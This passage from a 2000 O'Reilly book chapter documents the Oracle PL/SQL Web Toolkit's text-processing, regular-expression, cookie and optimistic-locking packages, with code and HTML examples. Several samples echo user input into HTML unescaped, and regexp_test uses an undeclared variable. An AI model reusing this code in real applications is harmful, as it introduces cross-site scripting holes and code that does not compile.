Let's look at a quick example that illustrates OWA_TEXT in action. The following procedure, TOKENIZE, uses OWA_TEXT to break apart and print the individual words in a sentence:

CREATE OR REPLACE PROCEDURE tokenize (
   sentence IN VARCHAR2 DEFAULT NULL
   )
IS
   mline OWA_TEXT.multi_line;
   i NUMBER;
   n NUMBER := LENGTH (sentence);
   c VARCHAR2(1);
BEGIN
   OWA_TEXT.new_multi (mline);   -- Initialize the structure
   FOR i IN 1 .. n
   LOOP
      c := SUBSTR (sentence, i, 1);   -- Fetch current character
      IF c = ' '
      THEN
         -- Add a new row if the character is a space
         OWA_TEXT.add2multi (c, mline, FALSE);
      ELSE
         -- Otherwise, append the character to the string
         OWA_TEXT.add2multi (c, mline);
      END IF;
   END LOOP;
   /*
   || Print individual words in sentence
   */
   FOR i IN 1 .. mline.num_rows
   LOOP
      HTP.print ('Word ' || i || ' is ');
      HTP.print (mline.rows (i) || '<br>');
   END LOOP;
END;

The following HTML form is used to test the procedure; note how the <textarea> tag is used to supply the value for the sentence parameter.

<html>
<title>Test tokenizer procedure</title>
<body>
   Enter the text to tokenize:
   <form action="http://gandalf/agent_webtest/plsql/tokenize">
      <textarea name=sentence>Enter sentence here</textarea>
      <p>
      <input type=submit>
   </form>
</body>
</html>

Figure 7.2 shows the results of the TOKENIZE procedure. The image on the left shows the form used to submit the sentence; the image on the right shows the corresponding output generated by TOKENIZE.

Figure 7.2: Results of the TOKENIZE procedure

7.2.1.4 Design note

In a classic ADT, such as the stack presented in Chapter 6, the datatypes would be hidden within the package body and would be accessible only through a programmatic interface. While this information hiding approach gives the developer strict control over how the package is used, it also makes it difficult to extend the package.

Although it seems like an obscure issue, the placement of the declaration has a profound impact on the life of the package. Declaring everything in the specification can make the package unwieldy and hard to maintain. The other extreme, declaring everything in the body and making nothing accessible, results in a package that is rigid and difficult to use in new circumstances.

OWA_TEXT resolves this tension admirably. By placing the declarations in the specification, the developers are consciously creating a general-purpose object that other packages can use. However, the package also contains a well-defined, private set of procedures that limit the operations that can be performed against its structures. In the next section, we'll see how the package is used to extend the toolkit's pattern searching capabilities.

7.2.2 OWA_PATTERN: Searching and Replacing Text

The OWA_PATTERN package is the second component of our text processing unit. As its name implies, OWA_PATTERN performs more complex text manipulation than is possible with PL/SQL's INSTR and SUBSTR functions. Regular expressions make this sophistication possible.

7.2.2.1 Regular expressions

A regular expression, or RegExp, is a compact description for a pattern of characters used to find matches within another string. Chances are you have used a simple RegExp to perform wildcard file searches using commands such as dir *.sql or ls *.sql. In these searches, instead of looking for a specific file, you are looking for any file that matches the .sql extension. In this case, the RegExp translates to the sentence "Any string of characters that ends in .sql."

You can use regular expressions to create more sophisticated patterns. For example, suppose you want to take some action if any date appears within a string; you are only interested in its presence and do not know its value ahead of time. Clearly, the following INSTR test is not very effective:

IF    INSTR (some_string, '07/13/71')
   OR INSTR (some_string, '07/14/71')
   OR INSTR (some_string, '07/15/71')
   OR INSTR (some_string, '07/16/71') ...

What you are really after is a pattern consisting of three sets of two digits separated by slashes (for clarity, assume the date is always DD-MM-YY). A regular expression is a mini-language that uses a compact vocabulary to describe these patterns.

The first part of the RegExp vocabulary defines the different types of characters that can be matched, such as digits, letters, or tabs. These characters are sometimes called atoms because they form the basic building blocks on which the expressions are based. The atoms that can be used in OWA_PATTERN are shown in Table 7.5.

Table 7.5: Atoms Available in OWA_PATTERN
Atom | Description
. | Any character except newline (\n)
\n | Newline
\t | Tab
\d | Any digit (0 . . . 9)
\D | Any non-digit
\w | Any alphanumeric character (0 . . . 9, a . . . z, A . . . Z)
\W | Any nonalphanumeric character
\s | Any whitespace character (space, tab, or newline)
\S | Non-whitespace character
\b | Word boundary
\xnn | Character having the hexadecimal value nn (i.e., \x20 is a space)
\nnn | Character having the octal value nnn (i.e., \040 is a space)
\c | Any character matching c

The next part of the vocabulary defines how many characters must appear to constitute a match. For example, we may want to return a match only if there are exactly two consecutive digits. The characters in this set are called the quantifiers; the possibilities for them are shown in Table 7.6.

Table 7.6: Quantifiers Available in OWA_PATTERN
Quantifier | Description
? | Exactly zero or one occurrence of an atom
* | Zero or more occurrences of an atom
+ | One or more occurrences of an atom
{n} | Exactly n occurrences of an atom
{n,} | At least n occurrences of an atom
{n,m} | At least n, but not more than m, occurrences of an atom

There are two possible assertions, or sets of characters used to fix the position of a match, as shown in Table 7.7.

Table 7.7: Assertions Available in OWA_PATTERN
Assertion | Description
^ | Match must come at the start of the string.
$ | Match must come at the end of the string.

Finally, the vocabulary of the regular expression contains a set of flags that are used to control the behavior of the search. Unlike the atoms, quantifiers, and assertions, these flags are not included as part of the RegExp itself. Instead, they are passed as a separate parameter to control how the various OWA_TEXT procedures behave. The two available flags are shown in Table 7.8.

Table 7.8: Flags Available in OWA_PATTERN
Flag | Description
I | The search is not case sensitive.
g | Used in the change procedure to specify a global search and replace.

There are additional special characters that remember the portions of the original string that was matched. The first special character, the ampersand (&), can be used during the replace phase of a search and replace operation. The & represents the original pattern found in a match; including it in a replace string recreates the original string of characters that matched the pattern. The second special character is a pair of parentheses. When a portion of a match sequence is enclosed in parentheses, the subsequent replace operation can remember each parenthesized match. These remembered strings are called back references (backrefs) and are stored in an array.

7.2.2.2 Data structures

You must supply a regular expression to each function in OWA_PATTERN. Initially, the pattern is stored as a simple VARCHAR2 string. In order to use the expression, however, OWA_PATTERN transforms it into a more useful format. This relatively time-consuming process converts the regular expression from a VARCHAR2 into a PL/SQL array, using the following declaration:

TYPE pattern IS TABLE OF VARCHAR2(4)
   INDEX BY BINARY_INTEGER;

Like many of the other data structures we've seen, pattern datatypes are initialized by calling a procedure. In this case, the procedure is called GET_PAT. There are two parameters to this procedure. The first is a VARCHAR2 string called arg that holds the regular expression to be parsed. The second is a pattern datatype (declared as an IN OUT mode parameter) to hold the resultant parsed pattern.

In the next section, we'll see once again how the toolkit's developers intentionally placed the declaration in the specification and not the body, even though it's a purely internal representation. This time, however, the intent is to improve the package's performance as well as its usability.

7.2.2.3 Procedures and functions

In addition to GET_PAT, the OWA_PATTERN package contains three other basic functions: MATCH, AMATCH, and CHANGE. In an attempt to match the enormous flexibility of Perl, each function has several overloaded versions that derive from the data structures found in OWA_TEXT. For example, the MATCH function can search either a simple VARCHAR2 string or the more complex multi_line data structure. This is a great example of the power and flexibility a good package can provide.

However, with 14 variations of just three functions, OWA_PATTERN reveals an API that just might be too complex. The next three sections describe the functions for this package, shown in Table 7.9. Keep in mind that some of these functions are like the finches on the Galapagos Islands: very specialized.

Table 7.9: Various OWA_PATTERN Procedures and Functions
Procedure/Function | Parameters | Description
AMATCH | See Table 7.11 for details on overloaded versions. | Returns the position of the end of the first RegExp found within text
CHANGE | See Table 7.12 for details on overloaded versions. | Replaces matched pattern with a new string
GET_PAT | arg IN VARCHAR2 pat IN OUT pattern | Initializes a datatype
MATCH | See Table 7.10 for details on overloaded versions. | Returns a Boolean value indicating whether a RegExp was found inside text

7.2.2.3.1 The MATCH function.

This function returns a Boolean value indicating whether a regular expression was found inside a chunk of text. There are six overloaded versions. The parameters for this function are:

line/mline

The text that is being searched, either a VARCHAR2 or an OWA_TEXT.MULTI_LINE (in the latter case, the parameter is renamed mline).

pat

The regular expression, either a VARCHAR2 or a pattern. If used as a pattern, the structure must be initialized with the GET_PAT procedure before it is passed as a parameter.

flags

Controls the behavior of the search as described in Table 7.8; a VARCHAR2.

backrefs

Optional parameter to hold back references when parentheses are used as part of the regular expression; an OWA_TEXT.VC_ARR.

rlist

Identifies the rows in which a match was found; an OWA_TEXT.ROW_LIST (mandatory when the line parameter is an OWA_TEXT.MULTI_LINE).

Table 7.10 lists the formal parameters for each of the different versions of MATCH.

Table 7.10: Overloaded Versions of MATCH
Version | Parameters | Description
1 | line IN VARCHAR2 pat IN VARCHAR2 flags IN VARCHAR2 DEFAULT NULL | The simplest of the versions; all parameters are VARCHAR2.
2 | line IN VARCHAR2 pat IN OUT pattern flags IN VARCHAR2 DEFAULT NULL | multiple searches that use the same RegExp.
3 | line IN VARCHAR2 pat IN VARCHAR2 backrefs OUT owa_text.vc_arr flags IN VARCHAR2 DEFAULT NULL | Version 1 with the optional backrefs parameter. When the function completes, the backrefs array contains the portions of the original string that matched the parentheses.
4 | line IN VARCHAR2 pat IN VARCHAR2 backrefs OUT owa_text.vc_arr flags IN VARCHAR2 DEFAULT NULL | Version 2 with the optional backrefs parameter.
5 | mline IN owa_text.multi_line pat IN VARCHAR2 rlist OUT owa_text.row_list flags IN VARCHAR2 DEFAULT NULL | In this version, the text string is a multi_line datatype rather than a VARCHAR2. The mline parameter must be initialized using the procedures described in the OWA_TEXT section.
6 | mline IN owa_text.multi_line pat IN OUT pattern rlist OUT owa_text.row_list flags IN VARCHAR2 DEFAULT NULL | Same as version 5, but the pat parameter is declared as a pattern structure.

7.2.2.3.2 The AMATCH function.

This function is similar to MATCH, except that it returns the position of the end of the first match found within the string.[2] The function returns if no match is found. There are four overloaded versions; the parameters for each version are:

[2] INSTR, a similar function that's built into PL/SQL, returns the position of the first character of a match.

line

The text that is being searched; unlike the MATCH function, it is always a VARCHAR2.

from_loc

Starting position within the string for the search.

pat

The regular expression, either a VARCHAR2 or a pattern. If used as a pattern, the structure must be initialized with the GET_PAT procedure before it is passed as a parameter.

flags

Controls the behavior of the search as described in Table 7.8; a VARCHAR2.

backrefs

Optional parameter to hold back references when parentheses are used as part of the regular expression; an OWA_TEXT.VC_ARR.

Table 7.11 lists the four versions of AMATCH.

Table 7.11: Overloaded Versions of AMATCH
Version | Parameters | Description
1 | line IN VARCHAR2 from_loc IN INTEGER pat IN VARCHAR2 flags IN VARCHAR2 DEFAULT NULL | The simplest of the versions; all parameters are VARCHAR2.
2 | line IN VARCHAR2 from_loc IN INTEGER pat IN OUT pattern flags IN VARCHAR2 DEFAULT NULL | In this version, the pat parameter is declared using the PATTERN datatype.
3 | line IN VARCHAR2 from_loc IN INTEGER pat IN VARCHAR2 backrefs OUT owa_text.vc_arr flags IN VARCHAR2 DEFAULT NULL | Version 1 with the optional backrefs parameter.
4 | line IN VARCHAR2 from_loc IN INTEGER pat IN pattern backrefs OUT owa_text.vc_arr flags IN VARCHAR2 DEFAULT NULL | Version 2 with the optional backrefs parameter.

7.2.2.3.3 CHANGE.

The CHANGE function or procedure searches a chunk of text for a pattern. When it finds a match, it replaces the matched substring with a new string. When used as a procedure, CHANGE simply updates the text with the appropriate matches. When used as a function, it makes the changes and returns the number of substitutions.

This second usage is questionable. When a function changes the value of a parameter, it violates the most important rule about functions: that a function should return exactly one value. By updating the parameters, CHANGE is essentially returning two values: one for the number of updates and another for the actual results of that update. Including an OUT mode parameter to the procedural version would probably have been a better design.

The parameters used in each version are:

line/mline

The text that is being searched and replaced; either a VARCHAR2 or an OWA_TEXT.MULTI_LINE (in the latter case, the parameter is renamed mline).

from_str

String to be replaced; always a VARCHAR2. Note that although the string represents a regular expression like the pat parameter in the MATCH and AMATCH functions, it cannot be used as a PATTERN datatype.

to_str

The string that replaces from_str; always a VARCHAR2. An & character, when used anywhere in the string, is replaced by the original portion of the text line that matches the from_str pattern.

flags

Controls the behavior of the search as described in Table 7.8; a VARCHAR2. If no value is specified (the default), only the first match is replaced. If the value "g" is used, it replaces all the matches.

Table 7.12 lists the four versions of CHANGE.

Table 7.12: Overloaded Versions of CHANGE
Version | Parameters | Description
1 | line IN OUT VARCHAR2 from_str IN VARCHAR2 to_str IN VARCHAR2 flags IN VARCHAR2 | Function that returns the number of substitutions made. After the function exits, the line parameter is updated with the results of the search and replace.
2 | line IN OUT VARCHAR2 from_str IN VARCHAR2 to_str IN VARCHAR2 flags IN VARCHAR2 | Procedural version of version 1.
3 | mline IN OUT owa_text.multi_line from_str IN VARCHAR2 to_str IN VARCHAR2 flags IN VARCHAR2 | Function that returns the number of substitutions made; the target text is declared as a multi_line structure.
4 | mline IN OUT owa_text.multi_line from_str IN VARCHAR2 to_str IN VARCHAR2 flags IN VARCHAR2 | Procedural version of version 4.

7.2.2.4 Example

As you can imagine, there are a lot of possible examples for the OWA_PATTERN package. However, it's not necessary to detail every one. Instead, let's focus on a single example, based on the CHANGE procedure, that allows you to test the effect of various regular expressions in search and replace operations.

The example procedure, regexp_test, accepts the parameters of version 1 of CHANGE and builds an HTML table that breaks the final page into two columns. The first column contains a data entry form with the fields necessary to test the CHANGE procedure. The second column displays the results of the CHANGE procedure when it is executed with the regexp_test procedure's parameters.

The interesting thing about this procedure is that it preserves the values entered when the user submits the form. This is accomplished by setting the form action attribute back to the regexp_test procedure. When the form is submitted, the procedure reconstructs the form using the input from the previous screen:

CREATE OR REPLACE PROCEDURE regexp_test (
   line IN OUT VARCHAR2 DEFAULT NULL,
   from_str IN VARCHAR2 DEFAULT NULL,
   to_str IN VARCHAR2 DEFAULT '<b>&</b>',
   flags IN VARCHAR2 DEFAULT NULL
   )
IS

BEGIN
   HTP.print ('<html><title>Pattern Test</title><body>');
   HTP.print ('<table border=1><tr><td>');   -- Used to format results
   HTP.print ('<form action=regexp_test>');
   HTP.print ('Line:<textarea name=line>' ||
              line ||
              '</textarea><br>');
   HTP.print ('From:<input name=from_str value="' ||
              from_str ||
              '"><br>');
   HTP.print ('To:<input name=to_str value="' ||
              to_str ||
              '"><br>');
   HTP.print ('Flags:<input name=flags value="' ||
              flags ||
              '"><br>');
   HTP.print ('<input type=submit>');
   HTP.print ('</form></td><td>');   -- Results print in second column
   -- Call the change procedure
   OWA_PATTERN.change (line, from_str, to_str, flags);
   HTP.print (line_copy);
   HTP.print ('</td></tr></html>');
END;

Figure 7.3 shows the output of the regexp_test procedure.

Figure 7.3: The results of the regexp_test procedure

Previous: 7.1 Communicating with the Outside World | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 7.3 Maintaining State
7.1 Communicating with the Outside World | Book Index | 7.3 Maintaining State
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.3 Maintaining State

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

7.3 Maintaining State

The inability to save information, or state, throughout a session is one of HTML's major limitations. HTML has no client/server type variables that remember things as the user moves from page to page. For example, if we want to use a piece of information entered by a user on the first page of a web system, we must save it somehow and be able to recall it later. There are four basic ways to do this: saving the information as part of a query string in a URL, saving it in a hidden field, saving it in a database table, or saving it in a cookie file by using the OWA_COOKIE package, described later in this section. In this section, we'll look at each method and discuss possible problems you may run into.

The first way to maintain state, using a query string of a URL, is the most straightforward: you simply build the string as you go, placing the information you want to pass from screen to screen in name/value pairs. These values are then passed to the procedure specified in the URL's href attribute when the user clicks on the hyperlink. The disadvantages to this approach include the following:

  • Depending on the system, the maximum length of the URL is limited to 256 characters.

  • Each value must be encoded to the CGI specification. It can be easy to forget to do this if you're in a rush.

The second way to save state information is to store it in hidden fields. A hidden field is simply an invisible input element that is part of an HTML form. Although the user cannot see the value on the screen, the hidden field is stored as part of the underlying HTML code. To maintain a value across multiple sessions, all we have to do is include the value as a hidden field on the form. You create a hidden field by setting the type attribute of an <input> element to "hidden," as in the following example:

<input type=hidden name=user_id value="10235">

The disadvantages of this approach include the following:

  • Every procedure must include a corresponding parameter for the hidden value. While this might be okay for a small number of fields, it quickly becomes unworkable for larger numbers (this also applies when embedding the information in a URL).

  • Each procedure must include the code to reproduce the hidden fields as part of its output.

  • Hidden fields are insecure since almost all browsers have a "View Source" option that allows users to look at the underlying HTML code, making hidden fields of limited value when security is an issue.

The third method for maintaining state simply saves the information in a table and uses a SELECT statement to retrieve it later. However, there are two problems with this approach:

  • It requires a hit against a table to both save and recall a piece of information.

  • We need something to use as a primary key, carried across each page, to associate the state information with a particular session. The simplest way to do this is to store the client's IP address as part of a primary key. We can use this address, which is simple to obtain, when we want to recall the information later.

The fourth method is to save state information using cookies. Each cookie has a name and one or more associated values, and is saved either as a record on the user's machine or as an environment variable on the web server. In either case, it is accessible throughout (and sometimes even after) a user's session. You create a cookie on a user's browser by embedding HTML-like commands into the MIME header of a page. For example, the following set of instructions creates two cookies (notice that the second has multiple values):

Set-Cookie: username=odewahn
Set-Cookie: city=BOSTON; city=CHICAGO; city=NEW YORK

Some disadvantages of this approach are:

  • Cookies were originally introduced by Netscape and are not part of the HTML standard. However, they have become a popular way to overcome statelessness and are now supported by most browsers.

  • Cookies that are saved on a user's machine (and don't expire) tie the user to that specific machine. For example, many Internet storefronts use cookies to save your user information. When you visit the site, the server reads the cookies and thinks it's you. When someone else borrows or uses your computer, though, this information is still stored on the machine, which can lead to problems.

  • Cookies can be turned off. Most browsers allow users to reject cookies, usually out of privacy concerns. Consequently, you can't save any state information to those users' machines.

In the next section, we'll look at the toolkit package for manipulating cookies.

7.3.1 OWA_COOKIE: Storing Cookies

The OWA_COOKIE package contains procedures that allow us to create, access, and even update cookies within PL/SQL.

7.3.1.1 Data structures

A cookie can have multiple values that can be as large as 4K. These are stored in an array named vc_arr:

TYPE vc_arr IS TABLE OF VARCHAR2(4096)
   INDEX BY BINARY_INTEGER;

NOTE: The vc_arr used in OWA_COOKIE is not the same as the one used in OWA_TEXT.

The cookie itself is represented with a record that holds its name, its values, and the number of these values:

TYPE cookie IS RECORD (
   name VARCHAR2(4096),
   vals vc_arr,
   num_vals INTEGER
);

7.3.1.2 Procedures and functions

The procedures and functions of OWA_COOKIE read, create, and remove cookies. The instructions to read cookies retrieve those cookies from the browser and store their values in a cookie variable. Creating or removing the cookies is slightly trickier. Table 7.13 shows the procedures and functions for OWA_COOKIE, along with their parameters.

Table 7.13: Various OWA_COOKIE Procedures and Functions
Procedure/Function | Parameters | Description
GET | name IN VARCHAR2 | Generates instructions to retrieve a specified cookie from the browser and store its value in a cookie variable
GET_ALL | names OUT owa_cookie.vc_arr vals OUT owa_cookie.vc_arr num_vals OUT INTEGER | Generates instructions to retrieve the names and values of all unexpired cookies
SEND | name IN VARCHAR2 value IN VARCHAR2 expires IN DATE DEFAULT NULL path IN VARCHAR2 DEFAULT NULL domain IN VARCHAR2 DEFAULT NULL SECURE IN VARCHAR2 DEFAULT NULL | Generates instructions to create a cookie
REMOVE | name IN VARCHAR2 value IN VARCHAR2 path IN VARCHAR2 DEFAULT NULL | Generates instructions to delete a cookie

Like the procedures of the HTP package, the OWA_COOKIE procedures and functions generate instructions that are sent to the browser for processing. Unlike normal HTML tags, however, these instructions must appear outside the normal document in a section called the HTTP header. To place instructions in the header, we must use the MIME_HEADER and HTTP_HEADER_CLOSE procedures from the OWA_UTIL package. Please see Section 7.4.1.4, "HTML and HTTP utilities", later in this chapter, for a detailed discussion of these procedures.

The following snippet shows how the OWA_UTIL procedures are used to create cookies:

/*
|| FALSE value in mime_header keeps the header open
|| so we can insert the cookie into the header section
*/
OWA_UTIL.mime_header ('text/html', FALSE);
OWA_COOKIE.send ('city', 'BOSTON');
OWA_COOKIE.send ('city', 'CHICAGO');
OWA_COOKIE.send ('city', 'NEW YORK');
OWA_UTIL.http_header_close;  -- Now close the header
HTP.print ('<html>');
...

7.3.1.2.1 The SEND procedure.

This procedure generates the instruction to create a cookie. As noted, this instruction must appear inside the HTTP header. The parameters for the procedure are as follows:

name IN VARCHAR2

Name of the cookie.

value IN VARCHAR2

Value of the cookie.

expires IN DATE DEFAULT NULL

Expiration date; the cookie is deleted after the specified date. If omitted, it never expires. Also note that the time zone must match the settings in OWA_INIT.

path IN VARCHAR2 DEFAULT NULL

If a path is specified, the server sends the cookie only when the URL of the request matches the path; this make the cookie available only to those requests that match the specified path.

domain IN VARCHAR2 DEFAULT NULL

Like the path, the server sends the cookie only if the domain (i.e., www.oreilly.com) matches the URL of the request, allowing you to prevent a cookie from being sent if the domain (the server section of the URL) matches the specified path.

SECURE IN VARCHAR2 DEFAULT NULL

If non-NULL, the keyword SECURE is added to the cookie; if added, the cookie is sent only if the client and server are connected through a secure protocol like HTTPS.

SEND produces a string based on the following template:

Set-Cookie: name=value expires=expires path=path domain=domain secure

The following procedure illustrates the use of the SEND procedure:

CREATE OR REPLACE PROCEDURE send_cookie (
   cookie_name IN VARCHAR2 DEFAULT NULL,
   cookie_val IN VARCHAR2 DEFAULT NULL
   )
IS

BEGIN
   -- Cookies must be set within the header
   OWA_UTIL.mime_header ('text/html', FALSE);
   -- Send a cookie if a name was entered
   IF cookie_name IS NOT NULL
   THEN
      OWA_COOKIE.send (cookie_name, cookie_val);
   END IF;
   OWA_UTIL.http_header_close;
END;

7.3.1.2.2 The REMOVE procedure.

This procedure causes a cookie to immediately expire and, like SEND, must be used inside the HTTP header. The parameters are:

name IN VARCHAR2

The name of the cookie to remove.

value IN VARCHAR2

The value of the cookie to remove.

path IN VARCHAR2 DEFAULT NULL

The path of the cookie to remove.

REMOVE produces the following template:

Set-Cookie: name=value expires=01-JAN-1990 path=path

7.3.1.2.3 The GET function.

This function retrieves the value for the specified cookie and returns it as a cookie datatype. Unlike SEND or REMOVE, GET is not limited to the header and may appear anywhere within a procedure. It has one parameter:

name IN VARCHAR2

Name of the cookie to retrieve.

The following example illustrates the GET procedure:

CREATE OR REPLACE PROCEDURE get_cookie (
   cookie_name IN VARCHAR2 DEFAULT NULL
   )
IS

   target_cookie OWA_COOKIE.cookie;

BEGIN
   target_cookie := OWA_COOKIE.get (cookie_name);
   -- Print message if the cookie was not found
   IF target_cookie.num_vals = 0
   THEN
      HTP.print ('<h1>Cookie not found!</h1>');
   ELSE
      HTP.print ('<h1>Values for cookie ' ||
                 cookie_name ||
                 '</h1><hr>');
      FOR i IN 1 .. target_cookie.num_vals
      LOOP
         HTP.print (target_cookie.vals (i) || '<p>');
      END LOOP;
   END IF;
END;

7.3.1.2.4 The GET_ALL procedure.

This procedure retrieves the names and values for all nonexpired cookies. Its parameters are:

names OUT owa_cookie.vc_arr

Array of cookie names.

vals OUT owa_cookie.vc_arr

Array of cookie values.

num_vals OUT INTEGER

Total number of cookies retrieved.

The following procedure illustrates the GET_ALL procedure:

CREATE OR REPLACE PROCEDURE print_cookies
IS

   -- Note that vc_arr is in owa_cookie, not owa_text!

   current_cookie_names          OWA_COOKIE.vc_arr;
   current_cookie_vals           OWA_COOKIE.vc_arr;
   n                             INTEGER DEFAULT 0;

BEGIN
   -- Fetch and print the current cookies
   OWA_COOKIE.get_all (
      current_cookie_names,
      current_cookie_vals,
      n
   );
   FOR i IN 1 .. n
   LOOP
      HTP.print ('<b>' || current_cookie_names (i) || ':</b>');
      HTP.print ('<b>' || current_cookie_vals (i) || '<p>');
   END LOOP;
END;

7.3.2 OWA_OPT_LOCK: Record Locking

Developing data entry forms with HTML is closely related to the problem of maintaining state. As discussed in Chapter 2, Foundations, forms are processed in two steps. In the first, the form is displayed and the user is allowed to make changes. In the second, once the user has made all desired edits, the form is submitted to another program for processing. This program adds, deletes, or updates the original record. As any client/server developer knows, forms must be able to handle situations in which multiple users attempt to update the same record simultaneously.

There are two different approaches to handling the simultaneous update problem: pessimistic locking and optimistic locking. With pessimistic locking, the record is locked as soon as the user attempts to edit it. If the lock succeeds, other users are unable to make changes until the original user releases the lock.

With optimistic locking, no locks are issued, in the hope (hence the term "optimistic") that someone else won't come along in the interim and make changes to the record. A user makes edits on the screen, and only when the user has finished editing does the system attempt to lock the record and apply the changes. Unfortunately, because the record was not initially locked, other users are free to make changes while the first user is still staring at his screen. If this occurs, the first user must be given a choice about how to proceed; he can choose to overwrite the other user's updates with his own, or choose to discard his changes in favor of the other user's.

HTML's inability to maintain state makes it extremely difficult, if not impossible, to implement pessimistic locking. However, it is relatively straightforward, although a little clumsy, to implement optimistic locking. With this approach, a snapshot is taken of a record before the user makes any changes. When the user submits the form, the original record is requeried and compared to the snapshot. If they are identical (i.e., no one has made intervening changes) the user's edits are saved. Otherwise, the user is asked how to proceed.

The OWA_OPT_LOCK package provides two ways to simplify optimistic locking in HTML forms. With the first method, the record's columns are saved in hidden fields within the form. When the form is submitted, these hidden fields are passed to the new procedure in an array, where they are then compared with the original record. The second method computes a checksum of the original record. This value is compared to a recomputed checksum to determine if the record has been updated.[3]

[3] A checksum is a mathematical function that computes a single, unique value for any input. For example, the sum of a record's bytes is probably unique to that particular record. Real checksum functions, however, are complex enough that even tiny changes to the record result in a different value.

7.3.2.1 Data structures

The vcArray array holds the hidden fields that are passed from the data entry form:

TYPE vcarray IS TABLE OF VARCHAR2(2000)
   INDEX BY BINARY_INTEGER;

7.3.2.2 Procedures and functions

The procedures and functions in OWA_OPT_LOCK implement the two strategies for optimistic locking. Table 7.14 shows the procedures and functions, along with their parameters. Note that the hidden fields and checksum approaches are two different methods, each with its own distinct set of operations.

Table 7.14: Various OWA_OPT_LOCK Procedures and Functions
Procedure/ Function | Parameters | Description
CHECKSUM | p_owner IN VARCHAR2 p_tname IN VARCHAR2 p_rowid IN VARCHAR2 | Generates a checksum (rather than a hidden field) for each sensitive column of the row being updated
GET_ROWID | p_values IN owa_opt_ lock.vcArray | Returns the ROWID from fields generated by store_values
STORE_VALUES | p_owner IN VARCHAR2 p_tname IN VARCHAR2 p_rowid IN VARCHAR2 | Generates a hidden field for each column of the row being updated
VERIFY_VALUES | p_old_values IN owa_opt_ lock.vcArray | Compares old and new values

7.3.2.2.1 The STORE_VALUES procedure.

This procedure generates a hidden field for each column of the row that is to be updated. Its parameters are:

p_owner IN VARCHAR2

The schema that owns the table that is to be updated; you can use the reserved word USER to default to the current schema.

p_tname IN VARCHAR2

The table to be updated.

p_rowid IN VARCHAR2

ROWID of the record in the table that is to be updated; the procedure always uses the ROWID of the row that is to be updated, regardless of the primary key of the table.

Like the HTP procedures, STORE_VALUES generates HTML tags that are returned to the browser. These tags must appear as part of the data entry form that is being used to update a record. The hidden fields generated by STORE_VALUES have the same name: "old_" followed by the name of the table passed in the p_tname parameter. This passes the old values in a single array parameter to the procedure that processes the form.

Here is a sample program that creates a simple data entry form based on the EMP table. The <form> tag's action attribute points us to the procedure that performs the update:

CREATE OR REPLACE PROCEDURE opt_lock_fentry (
   iempno IN VARCHAR2 DEFAULT NULL
   )
IS

   emp_rec scott.emp%ROWTYPE;
   rec_row_id ROWID;

BEGIN
   -- Fetch the record and rowid the employee with the given id
   SELECT *
     INTO emp_rec
     FROM scott.emp
    WHERE emp.empno = iempno;
   SELECT ROWID
     INTO rec_row_id
     FROM scott.emp
    WHERE emp.empno = iempno;
   -- Create a simple data entry form
   HTP.print ('<form action=opt_lock_fupdate>');
   HTP.formhidden (cname => 'iempno', cvalue => iempno);
   HTP.print ('Employee Name:');
   HTP.formtext (cname => 'iename', cvalue => emp_rec.ename);
   HTP.print ('Job:');
   HTP.formtext (cname => 'ijob', cvalue => emp_rec.job);
   /*
   || Store the current values for the row that is to be updated
   */
   OWA_OPT_LOCK.store_values ('SCOTT', 'emp', rec_row_id);
   HTP.print ('<input type=submit>');
   HTP.print ('</form>');
END;

The following listing shows what happens when the procedure is executed. The first three fields simply reproduce the original parameters: the schema name, the table name, and the ROWID of the record that is being updated. After these fields, all the columns in the target row are listed:

<FORM action=opt_lock_fupdate>
<INPUT TYPE="hidden" NAME="iempno" VALUE="7934">
Employee Name:
<INPUT TYPE="text" NAME="iename" VALUE="MILLER">
Job:
<INPUT TYPE="text" NAME="ijob" VALUE="CLERK">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="SCOTT">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="emp">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="AAAAeFAACAAAAEbAAN">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="7934">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="MILLER">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="CLERK">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="7566">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="23-JAN-82">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="1300">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="">
<INPUT TYPE="hidden" NAME="old_emp" VALUE="10">
<input type=submit>
</form>

7.3.2.2.2 The VERIFY_VALUES function.

This function, used when a form is submitted, compares the old values from the row to the current values. If they match, the function returns TRUE; otherwise, it returns FALSE. Its one parameter is:

p_old_values IN owa_opt_lock.vcArray

The array of field values created by the STORE_VALUES procedure.

The VERIFY_VALUES procedure is meant to work in tandem with the STORE_VALUES procedure. The following example performs the record update started in the earlier example. In addition to a parameter for each input element on the form, we must also include a parameter that receives the values from the STORE_VALUES procedure. The parameter, declared as a vcArray, must have the same name as the hidden fields created by STORE_VALUES:

CREATE OR REPLACE PROCEDURE opt_lock_fupdate (
   iempno IN VARCHAR2 DEFAULT NULL,
   iename IN VARCHAR2 DEFAULT NULL,
   ijob IN VARCHAR2 DEFAULT NULL,
   old_emp IN OWA_OPT_LOCK.vcarray
   )
IS
BEGIN
   IF OWA_OPT_LOCK.verify_values (old_emp)
   THEN
      -- Perform the update
      UPDATE scott.emp
         SET emp.ename = iename,
             emp.job = ijob
       WHERE emp.empno = iempno;
      COMMIT;
      HTP.print ('<h1>Change Successful</h1>');
   ELSE
      HTP.print ('<h1>The record has been changed!</h1>');
   END IF;
END;

7.3.2.2.3 The GET_ROWID function.

